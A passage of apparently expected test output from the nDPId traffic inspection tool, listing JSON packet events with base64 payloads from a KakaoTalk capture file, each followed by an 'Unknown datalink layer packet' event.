+00523{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2750,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":260016,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI8AAEAAHRH86wHJAa4KGFK8WgQsOAB7oXGAbDPAfrJ8g1SapdqLH6crVEQ\/c7CCaWir10vSSQsV3CkhTpkDh\/KT6\/TEPhWyIULVjCu\/X00wQjztNerO79eQEvAk\/aSTsLbtnHgybBP3VCCfzz1fawDbv5Rx1bx6cryss38\/H4ON6\/Ua9qX62FOBgcX7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2750,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2751,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":263343,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHwAAEAAHRH8\/gHJAa4KGFK8WgQsOABoSNuAbDPCfrKEA1Sapdqb4mEuQjKuTjgLLr25fVveUyaFYFyeSALevlALpf16MPGuB702in3r4Fyoi4jDkzx8W7jA0dAhqKg7uWRXrMAi7RumRqB8Yjrb93jM\/ypDC1ehbwc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2751,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2752,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":263922,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJQAAEAAHBH95gHJAa4KGFK8WgYoHACAD+2AbFE7i0MemguGVRknpiQnquIFOElOApSEcDi4jBqbD9dpRCSs0BV6ZDwppy5DsJSIMzF\/17zqHp4Ct2abA0DVJW\/F\/ZkwOnZW1rO3PLPDg+oJpYntp5WhOAIkm0vLCliycXsQ3VijctFV2fTZ2JTkc3glI1lRwzM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2752,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00504{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2753,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":264075,"pkt_caplen":149,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":149,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIUAAEAAHBH99QHJAa4KGFK8WgYoHABxkYaAbFE8i0MiWguGVRlRg+3JRfuCq9r7CuwvIZNBE789mPnNQQmQikg+Z2xgIUBaw9ljJQpCOoFuivUZOKHpCvqoFkOoqpw2e1V0Ts4fHeJtrHfms2e08NbtY1BRPdz495ZsOTYI5Wvr6Uo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2753,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2754,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":264167,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHBH+GQHJAa4KGFK8WgYoHABNQy+AbFE9i0MmGguGVRn1\/QBAUqBaK4kncqhWISgO11l8+Oma1pxsUeRf1yneIjoBpT88Yg1noDlP\/4eNcP8LI5bis4neH3k="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2754,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00506{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2755,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":264258,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHRH89gHJAa4KGFK8WgQsOABwUu6AbDPDfrKHw1SapdrQ9SoO+QBnlFA\/8R4yi6FnYXDtoNrw6UgoL+zeb7Sa0UGwggiWvAF9nvavYSRJKGYN210A7gTUFI6jDjHyGaYYAnvmp1KRe\/4IQgRPt26kf8AmFvMMkQFtezqTOQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2755,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2756,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":265082,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHRH8\/AHJAa4KGFK8WgQsOABqn1SAbDPEfrKLg1SapdpPxLikkyluqVvaPFB8rSB5\/zJqb4i6llWSrtfTRh+YkXPX8a\/DaFuI62L5x+HLsyA7kDdUMKPCifqce9TftCu46f0Lj+Bc4JumGom6VflGDVh7KFrFOA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2756,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2757,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":267188,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFa6+AbFE+i0Mp2guGVRkoar0Pq5raBdlLYnTVlI4pcA27uB7B5IeRlhlVwhXWiUuUzmUIhtrptRwTx\/9Wyga9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2757,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2758,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":267340,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLwOeAbFE\/i0MtmguGVRlVtCUwFR\/Lu6GmqNJnQ\/\/8VuSx2vSCKlTdJnPTzm44egKGeFV3sBrVSybLHGvRN9mwippxPpyT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2758,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00509{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2759,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":277655,"pkt_caplen":149,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":149,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIUAAEAAQBHaHQoYUrwByQGuKBxaBgBxUhOAbDPHfrKWw1Sapdogt2uyXMXUCLGLSmGLdw8Mt2Ge5\/MLp1aDwLfP69\/WqkQ1EgwjyFnk3Y\/euH4HsD4YZAboUbrJrZo3LtztsYiTw7JUFbcELAPxwXz1oJVQlE\/a3hEl\/BJvZ6IpyDk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2759,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2760,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":279120,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHRH9CQHJAa4KGFK8WgQsOABd8U6AbDPFfrKPQ1SapdocZC1YdRpFyGW4DrsaBq\/swiBNNjmEfWhMKdvYDv9dCUmj0Oci3LDQHUBd7+jf0rAVvzvMoMSUJ6uH42qSPME5pl2Wr+V86Ao1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2760,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2761,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":336127,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGE4aAbFFBi0M1GguGVRlUSS2Wwz1JsDh2go45i7xPWSYXc1USfV\/vvABOBYUY0Mlng6i7Nneo3JgD5QHUuP9mUA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2761,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2762,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":338111,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABD5wOAbFFCi0M42guGVRluv+KFY7P+LRoN8FzoTLoWbBJwnoVuxwK1Z0AhHS+zbVgDBnHDE0dU0Wfij8JgDQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2762,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2763,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":357520,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHoAAEAAQBHaKAoYUrwByQGuKBxaBgBmv7uAbDPIfrKag1SapdpF6KyAEFapw3klz93oxYc+3XGa1CfScVppXe7vEb8p2JvTUJOHSBjaEAbXtaNZ8P\/BA\/WzXWvRHSlGAhkAHlyEo1UlAsppErnhcyDOGe6P1MLW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2763,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2764,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":359168,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABDGF2AbFFAi0MxWguGVRkumP15+aGqk51fohuJ+050rI3wWiM9ITSgCQNvENDJS2sxyYDhf1CCMCqDQkJxcg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2764,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2765,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":383185,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIkAAEAAHRH88QHJAa4KGFK8WgQsOAB1nXGAbDPGfrKTA1SapdpZP77Y0HhB1O8P+K7B8N3pSSRrYx\/LWTjbg7ERgP2FIyO24LJxQ5zfBmOv1ETFQhjmipj+rtPKoxzVUM3i\/ZsFEeXC9ulhRKBoYpnsWe9+hqrRSrIsf8pCVZbZ0JuQ6EOX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2765,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00509{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2766,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":399237,"pkt_caplen":149,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":149,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIUAAEAAHRH89QHJAa4KGFK8WgQsOABxTfmAbDPHfrKWw1Sapdogt2uyXMXUCLGLSmGLdw8Mt2Ge5\/MLp1aDwLfP69\/WqkQ1EgwjyFnk3Y\/euH4HsD4YZAboUbrJrZo3LtztsYiTw7JUFbcELAPxwXz1oJVQlE\/a3hEl\/BJvZ6IpyDk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2766,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2767,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":432959,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABG9LyAbFFDi0M8mguGVRlbqlLvXM0MT1w4on8ch2XluXpytvhTziaNCBpMjkXH5nPj2YmULCiYFChmk3WAaB0+Xg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2767,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2768,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":438483,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFgH+AbFFEi0NAWguGVRmSgehyx7OkPt2n8dHCtIQK14JFF1kmR2tOCmV7Rhf6K7XK9K7Za56VL8oNfjdOpkiv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2768,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2769,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":442664,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAQBHaQgoYUrwByQGuKBxaBgBMTx+AbDPJfrKeQ1SapdoTUMqrH2t\/hGZn2rcEZsKqkQaCnHSd+8JNBAY8KPWiJ5iafzuo7cL2FZe6sxT3kO\/LyLBkKIg8Cw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2769,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2770,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":459235,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGF6CAbFFBi0M1GguGVRlUSS2Wwz1JsDh2go45i7xPWSYXc1USfV\/vvABOBYUY0Mlng6i7Nneo3JgD5QHUuP9mUA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2770,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2771,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":475379,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABD6x2AbFFCi0M42guGVRluv+KFY7P+LRoN8FzoTLoWbBJwnoVuxwK1Z0AhHS+zbVgDBnHDE0dU0Wfij8JgDQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2771,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2772,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":482703,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFUAAEAAQBHaTQoYUrwByQGuKBxaBgBBGsuAbDPKfrKiA1Sapdph5esWc+1DrJCYQgzcen0STQ0QdAhSiqLu8AADJtjio\/Ob3u0JkMX2eaUpbdQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2772,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2773,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":483283,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHoAAEAAHRH9AAHJAa4KGFK8WgQsOABmu6GAbDPIfrKag1SapdpF6KyAEFapw3klz93oxYc+3XGa1CfScVppXe7vEb8p2JvTUJOHSBjaEAbXtaNZ8P\/BA\/WzXWvRHSlGAhkAHlyEo1UlAsppErnhcyDOGe6P1MLW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2773,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2774,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":534583,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGw8+AbFFFi0NEGguGVRn2AzkRRFZEu7mph+poHmJ9fpvSNxaRbfYMq3y14h4PZRkv8SzAL+H+GtMU+AB8xfGcAg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2774,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2775,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":545172,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/6FSAbDPLfrKlw1Sapdo6p9HnE3EsRj1WT0WLkV2vXRsp+dWYDZCcAXY3AxQJw2BM60WixDK9QQa0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2775,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2776,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":559241,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFhJmAbFFEi0NAWguGVRmSgehyx7OkPt2n8dHCtIQK14JFF1kmR2tOCmV7Rhf6K7XK9K7Za56VL8oNfjdOpkiv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2776,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2777,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":559394,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABG+NaAbFFDi0M8mguGVRlbqlLvXM0MT1w4on8ch2XluXpytvhTziaNCBpMjkXH5nPj2YmULCiYFChmk3WAaB0+Xg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2777,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2778,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":571753,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHRH9GgHJAa4KGFK8WgQsOABMSwWAbDPJfrKeQ1SapdoTUMqrH2t\/hGZn2rcEZsKqkQaCnHSd+8JNBAY8KPWiJ5iafzuo7cL2FZe6sxT3kO\/LyLBkKIg8Cw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2778,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2779,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":581519,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/DB2AbDPMfrKpg1SapdpCKMKCjAzXM+NJbM12KcLXSz5NKXgrEu1Bk58+JKZRcznhR\/BHhfdIV\/K2"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2779,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2780,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":609046,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFUAAEAAHRH9JQHJAa4KGFK8WgQsOABBFrGAbDPKfrKiA1Sapdph5esWc+1DrJCYQgzcen0STQ0QdAhSiqLu8AADJtjio\/Ob3u0JkMX2eaUpbdQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2780,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2781,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":632300,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJEMWAbFFGi0NH2guGVRleFQXWu7HgWRt6BB4zlpnWwey5dkKelQqjidIvmXpaOXb1vcRvfKgr8IDCxtPzu3XIAkcTuw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2781,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2782,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":639624,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGPSGAbFFHi0NLmguGVRmAM+vdF6lnOKbveWXU1tG23l4kce8Vvom233dk5CUUjRKpZzphYrdBFWBs5nDkX\/1jnA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2782,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2783,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":648474,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGx+mAbFFFi0NEGguGVRn2AzkRRFZEu7mph+poHmJ9fpvSNxaRbfYMq3y14h4PZRkv8SzAL+H+GtMU+AB8xfGcAg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2783,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2784,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":659186,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/5DqAbDPLfrKlw1Sapdo6p9HnE3EsRj1WT0WLkV2vXRsp+dWYDZCcAXY3AxQJw2BM60WixDK9QQa0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 